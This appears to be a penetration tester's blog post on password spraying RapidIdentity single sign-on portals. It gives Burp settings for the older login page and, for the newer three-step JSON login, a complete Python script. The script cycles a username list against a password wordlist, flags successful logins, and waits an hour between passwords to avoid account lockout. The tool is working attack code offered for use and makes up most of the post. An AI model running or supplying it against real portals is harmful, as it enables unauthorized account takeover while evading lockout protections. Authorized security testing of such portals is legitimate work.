In the past I had written a quick blog post on password spraying Dell SonicWALL Virtual Office.  While it wasn’t all that exciting of a post, a number of people did find it useful and having a blog for it helped people find it more easily than only being in a random Github repo or tweet.

This post is about RapidIndentity. This can be used for Single Sign On (SSO). From testing I’ve found two different types of portals.  The older one seems to be pretty basic, and the logon takes the username and password in regular POST parameters.

There isn’t too much special about this, and you can spray it using the methods I described in my post How to Burp Good (password spraying).  You just need to set a grep extract for:
Start after expression: -message”>
End at delimiter: </div>

Old Login

What’s more interesting though is a newer logon portal I found. This one requires three separate steps to login, and is more resistant to a typical HTTP based brute force.

New Login

Note: The login portal can (and will likely be) styled with custom CSS. It may not look exactly like the examples above.

The three requests needed are as follows:

  1. A GET request to the authentication API. This returns a unique ID value.
  2. A POST request containing the username and the previously provided ID value.
  3. A second POST request with the password and the previously provided ID value.

This can vary, as there are many policies for authentication.  Review the API documentation and tweak as needed. If in doubt, run a login through Burp and see how it matches up.

Unfortunately we cannot use the method provided within How to Burp Good (CSRF Tokens) because Burp doesn’t handle JSON that well (at least within macros) and can’t extract the ID number and place it in subsequent requests. While this may have still be possible in Burp with extensions, I opted to create a Python script to spray these endpoints.  Here is the full code:

import time
import json
import requests
import argparse


def guess_password(host, username, password):
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0',
               'Accept': 'application/json, text/javascript, */*; q=0.01',
               'X-Requested-With': 'XMLHttpRequest'
               }
    # Start a session to keep our cookies throughout requests
    session = requests.Session()
    r1 = session.get('https://' + host + '/api/rest/authn', headers=headers)
    result = json.loads(r1.text)
    # Grab the ID value
    id_value = result["id"]
    usernameJSON = {'id': id_value, 'isPasswordRecovery': 'false', 'type': 'username', 'username': username}
    r2 = session.post('https://' + host + '/api/rest/authn', headers=headers, json=usernameJSON)
    passwordJSON = {'type': 'password', 'id': id_value, 'password': password}
    r3 = session.post('https://' + host + '/api/rest/authn', headers=headers, json=passwordJSON)
    result = json.loads(r3.text)
    #  Look for error message
    try:
        error_message = result["error"]["message"]
        return error_message
    # If there is something other than an error message, print full response
    except KeyError:
        try:
            if result["type"] == "complete":
                return "Authentication Success!"
        except KeyError:
            return result


parser = argparse.ArgumentParser(description='This is a tool to brute force RapidIdentity IAM Portal')
parser.add_argument('-u', '--users', help='Input file name', required=True)
parser.add_argument('-p', '--passwords', help='Wordlist file name', required=True)
parser.add_argument('-t', '--target', help='target hostname', required=True)

args = parser.parse_args()

userlist = open(args.users, 'r').read().split('\n')
passlist = open(args.passwords, 'r').read().split('\n')

print("Testing " + str(len(userlist)) + " usernames and " + str(len(passlist)) + " passwords.")
for password in passlist:
    print("Spraying: " + password)
    for user in userlist:
        result = guess_password(args.target, user, password)
        print("Tried " + user + ":" + password + " - " + result)
    print("Sleeping 1 hour between each password")
    time.sleep(3600)

Also on Github here: https://github.com/n00py/RapidIdentity_spray

The script requires the endpoint, a username list, and a password list. It sprays all usernames with a single password once per hour to avoid lockouts.